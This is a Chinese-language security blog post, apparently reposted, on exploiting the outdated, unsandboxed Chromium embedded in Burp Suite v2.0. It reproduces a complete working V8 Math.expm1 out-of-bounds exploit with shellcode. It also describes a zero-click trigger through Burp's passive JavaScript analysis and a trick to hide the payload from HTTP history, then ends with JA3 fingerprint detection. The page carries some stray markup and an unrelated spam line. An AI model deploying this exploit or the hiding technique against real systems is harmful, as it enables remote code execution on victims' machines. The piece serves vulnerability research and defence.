<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】反制爬蟲之Burp Suite RCE

    VSole2021-09-08 18:00:00

    前言

    Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。

    近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。

    本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。

     軟件分析

    以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。

    burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。

    在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄

    從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。

    那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。

    當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。

    browsercore32.exe進程運行參數如下:

    // Chromium主進程C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
    // Renderer進程C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
    

    從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。

    漏洞利用

    Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。

    Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。

    以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)

    這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。

    該漏洞的Root Cause是在進行Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。

    <html><head>head>body><script>function pwn() {    var f64Arr = new Float64Array(1);    var u32Arr = new Uint32Array(f64Arr.buffer);
        function f2u(f) {        f64Arr[0] = f;        return u32Arr;    }
        function u2f(h, l){        u32Arr[0] = l;        u32Arr[1] = h;        return f64Arr[0];    }
        function hex(i) {        return "0x" + i.toString(16).padStart(8, "0");    }
        function log(str) {        console.log(str);        document.body.innerText += str + '';    }
        var big_arr = [1.1, 1.2];    var ab = new ArrayBuffer(0x233);    var data_view = new DataView(ab);
        function opt_me(x) {        var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];        big_arr = [1.1, 1.2];        ab = new ArrayBuffer(0x233);        data_view = new DataView(ab);
            let obj = {            a: -0        };        let idx = Object.is(Math.expm1(x), obj.a) * 10;
            var tmp = f2u(oob_arr[idx])[0];        oob_arr[idx] = u2f(0x234, tmp);    }    for (let a = 0; a < 0x1000; a++)        opt_me(0);
        opt_me(-0);    var optObj = {        flag: 0x266,        funcAddr: opt_me    };
        log("[+] big_arr.length: " + big_arr.length);
        if (big_arr.length != 282) {        log("[-] Can not modify big_arr length !");        return;    }    var backing_store_idx = -1;    var backing_store_in_hign_mem = false;    var OptObj_idx = -1;    var OptObj_idx_in_hign_mem = false;
        for (let a = 0; a < 0x100; a++) {        if (backing_store_idx == -1) {            if (f2u(big_arr[a])[0] == 0x466) {                backing_store_in_hign_mem = true;                backing_store_idx = a;            } else if (f2u(big_arr[a])[1] == 0x466) {                backing_store_in_hign_mem = false;                backing_store_idx = a + 1;            }        }
            else if (OptObj_idx == -1) {            if (f2u(big_arr[a])[0] == 0x4cc) {                OptObj_idx_in_hign_mem = true;                OptObj_idx = a;            } else if (f2u(big_arr[a])[1] == 0x4cc) {                OptObj_idx_in_hign_mem = false;                OptObj_idx = a + 1;            }        }
        }
        if (backing_store_idx == -1) {        log("[-] Can not find backing store !");        return;    } else        log("[+] backing store idx: " + backing_store_idx +            ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
        if (OptObj_idx == -1) {        log("[-] Can not find Opt Obj !");        return;    } else        log("[+] OptObj idx: " + OptObj_idx +            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
        var backing_store = (backing_store_in_hign_mem ?        f2u(big_arr[backing_store_idx])[1] :        f2u(big_arr[backing_store_idx])[0]);    log("[+] Origin backing store: " + hex(backing_store));
        var dataNearBS = (!backing_store_in_hign_mem ?        f2u(big_arr[backing_store_idx])[1] :        f2u(big_arr[backing_store_idx])[0]);
        function read(addr) {        if (backing_store_in_hign_mem)            big_arr[backing_store_idx] = u2f(addr, dataNearBS);        else            big_arr[backing_store_idx] = u2f(dataNearBS, addr);        return data_view.getInt32(0, true);    }
        function write(addr, msg) {        if (backing_store_in_hign_mem)            big_arr[backing_store_idx] = u2f(addr, dataNearBS);        else            big_arr[backing_store_idx] = u2f(dataNearBS, addr);        data_view.setInt32(0, msg, true);    }
        var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?        f2u(big_arr[OptObj_idx])[1] :        f2u(big_arr[OptObj_idx])[0]) - 1;    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
        var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
        var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
        var shellcode = new Uint8Array(           [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,            0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,            0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,            0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,            0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,            0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,            0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,            0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,            0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,            0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,            0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,            0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,            0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]    );
        log("[+] writing shellcode ... ");    for (let i = 0; i < shellcode.length; i++)        write(RWX_Mem_Addr + i, shellcode[i]);
        log("[+] execute shellcode !");    opt_me();}pwn();script>body>html>
    

    用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。

    進階攻擊

    Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。

    Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。

    其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)

    JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。

    額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。

    額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。

    GET /xxx.js HTTP/1.1Host: www.xxx.comConnection: closeCookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
    

    JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:

    流量特征檢測

    默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。

    Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。

    以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。

    不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。


    漏洞挖掘chromium
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    簡介Bayonet是整合多款安全工具并以web形式展現,它輔助滲透測試人員對IT資產進行資產管理。演示效果這里我部署了3臺vps,其中a為主節點運行數據庫、web、client工具,其他b和c節點只需要運行client里相應工具安裝方法以ubuntu16全新系統為例# 1、安裝python3環境,這里推薦使用minicoda方式安裝:wget?# 根據提示進行安裝# 2、默認miniconda環境為python3.7,這里新創建一個python3.8環境
    2021年十大漏洞利用
    2022-01-02 16:33:11
    本文總結了作者心目中的2021十大漏洞利用。
    攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。
    Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
    AI安全論文第17篇介紹Overview撰寫方式及頂會精句摘抄
    一直以來在挖掘xss時總是被各種過濾,各種實體化轉義。是真滴很難受,想連著幾天興沖沖奔著表單去,看著被過濾,轉義的payload,用盡辦法都過不去的心情。最后似乎有個聲音在跟我說,能不能找到一處大家都會不太注意的點,把payload帶進去,順便執行了。
    感染瀏覽器Cloud9 是一個惡意瀏覽器擴展,它對 Chromium 瀏覽器進行感染,以執行大量的惡意功能。Cloud9 的受害者遍布全球,攻擊者在論壇上發布的屏幕截圖表明他們針對各種瀏覽器。此外,在網絡犯罪論壇上公開宣傳 Cloud9 導致 Zimperium 相信 Keksec 可能會將其出售/出租給其他運營商。
    運算符和目標Cloud9 背后的黑客有可能與 Keksec 惡意軟件組織有聯系,因為在最近的活動中使用的 C2 域在 Keksec 過去的攻擊中被發現。Cloud9 的受害者遍布全球,攻擊者在論壇上發布的屏幕截圖表明他們針對各種瀏覽器。此外,在網絡犯罪論壇上公開宣傳 Cloud9 導致 Zimperium 相信 Keksec 可能會將其出售/出租給其他運營商。
    一個名為“Cloud9”的Chrome瀏覽器僵尸網絡近日被發現在外頭肆虐,它利用惡意插件來竊取在線賬戶、記錄擊鍵內容、注入廣告和惡意JavaScript代碼,并利用受害者的瀏覽器來發動DDoS攻擊。Zimperium表示,第7層攻擊通常很難被檢測到,因為TCP連接看起來與合法請求非常相似。Cloud9的受害者遍布全球各地,而威脅分子在論壇上發布的截圖表明,他們的目標是各種瀏覽器。
    0x01 確定目標無目標隨便打,有沒有自己對應的SRC應急響應平臺不說,還往往會因為一開始沒有挖掘漏洞而隨意放棄,這樣往往不能挖掘到深層次的漏洞。所以在真的想要花點時間在SRC漏洞挖掘上的話,建議先選好目標。0x02 確認測試范圍前面說到確定測什么SRC,那么下面就要通過一些方法,獲取這個SRC的測試范圍,以免測偏。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类